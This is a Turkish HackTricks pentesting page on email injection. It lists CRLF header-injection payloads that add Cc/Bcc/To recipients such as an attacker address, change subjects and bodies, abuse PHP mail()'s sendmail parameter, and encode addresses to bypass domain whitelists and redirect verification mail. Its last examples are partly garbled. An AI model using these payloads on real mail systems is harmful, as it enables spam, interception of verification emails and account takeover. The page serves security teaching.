# Email Injections
\
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks'i Destekleyin
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
{% endhint %}
## Gönderilen e-postaya Enjekte Et
### Gönderen argümanından sonra Cc ve Bcc enjekte et
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Mesaj, alıcı ve alıcı1 hesaplarına gönderilecektir.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Mesaj, orijinal alıcıya ve saldırgan hesabına gönderilecektir.
### Konu argümanını Enjekte Et
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Sahte konu, orijinal konuya eklenecek ve bazı durumlarda onu değiştirecektir. Bu, mail hizmetinin davranışına bağlıdır.
### Mesajın gövdesini değiştir
İki satır besleme enjekte edin, ardından mesajın gövdesini değiştirmek için mesajınızı yazın.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() fonksiyonu istismarı
```bash
# The function has the following definition:
php --rf mail
Function [ function mail ] {
- Parameters [5] {
Parameter #0 [ $to ]
Parameter #1 [ $subject ]
Parameter #2 [ $message ]
Parameter #3 [ $additional_headers ]
Parameter #4 [ $additional_parameters ]
}
}
```
#### 5. parametre ($additional\_parameters)
Bu bölüm, **bir saldırganın bu parametreyi kontrol ettiğini varsayarak nasıl kötüye kullanılacağını** ele alacak.
Bu parametre, PHP'nin ikili sendmail'i çağırmak için kullanacağı komut satırına eklenecek. Ancak, `escapeshellcmd($additional_parameters)` fonksiyonu ile temizlenecek.
Bir saldırgan, bu durumda **sendmail için ek parametreler enjekte edebilir**.
#### /usr/sbin/sendmail uygulamasındaki farklılıklar
**sendmail** arayüzü, sistemde kurulu olan **MTA e-posta yazılımı** (Sendmail, Postfix, Exim vb.) tarafından **sağlanmaktadır**. **Temel işlevsellik** (örneğin -t -i -f parametreleri) uyumluluk nedenleriyle **aynı** kalırken, **diğer işlevler ve parametreler** kurulu MTA'ya bağlı olarak büyük ölçüde değişiklik göstermektedir.
İşte sendmail komutu/arayüzünün farklı man sayfalarına birkaç örnek:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail** ikilisinin kökenine bağlı olarak, bunları kötüye kullanmak için farklı seçenekler keşfedilmiştir ve **dosyalar sızdırılabilir veya hatta rastgele komutlar çalıştırılabilir**. Bunu nasıl yapacağınızı kontrol edin [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## E-posta adında enjekte et
{% hint style="danger" %}
Eğer rastgele bir alan adıyla (Github, Gitlab, CloudFlare Zero trust gibi) bir hizmette hesap oluşturmayı ve doğrulama e-postasını alarak bunu doğrulamayı başarırsanız, kurban şirketin hassas alanlarına erişim sağlayabilirsiniz.
{% endhint %}
### Bir e-postanın göz ardı edilen kısımları
**+, -** ve **{}** sembolleri nadir durumlarda etiketleme için kullanılabilir ve çoğu e-posta sunucusu tarafından göz ardı edilebilir.
* Ör. john.doe+intigriti@example.com → john.doe@example.com
**Parantez içindeki yorumlar ()** başlangıçta veya sonunda da göz ardı edilecektir.
* Ör. john.doe(intigriti)@example.com → john.doe@example.com
### Beyaz listeyi atlama
### Alıntılar
### IP'ler
Kare parantezler arasında alan adı olarak IP'ler de kullanabilirsiniz:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### E-posta Kodlama
[**bu araştırmada**](https://portswigger.net/research/splitting-the-email-atom) açıklandığı gibi, e-posta adları da kodlanmış karakterler içerebilir:
* **PHP 256 taşması**: PHP `chr` fonksiyonu, bir karaktere 256 eklemeye devam eder, pozitif hale geldiğinde `%256` işlemini yapar.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Bu numaranın amacı, `RCPT TO:<"collab@psres.net>collab"@example.com>` gibi bir enjekte ile sonuçlanmaktır\
bu, doğrulama e-postasını beklenen e-posta adresinden farklı bir e-posta adresine gönderecektir (bu nedenle e-posta adının içine başka bir e-posta adresi eklemek ve e-postayı gönderirken sözdizimini bozmak).
{% endhint %}
Farklı kodlamalar:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q??=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q??=hi@example.com
#punycode
x@xn--svg/-9x6 → x@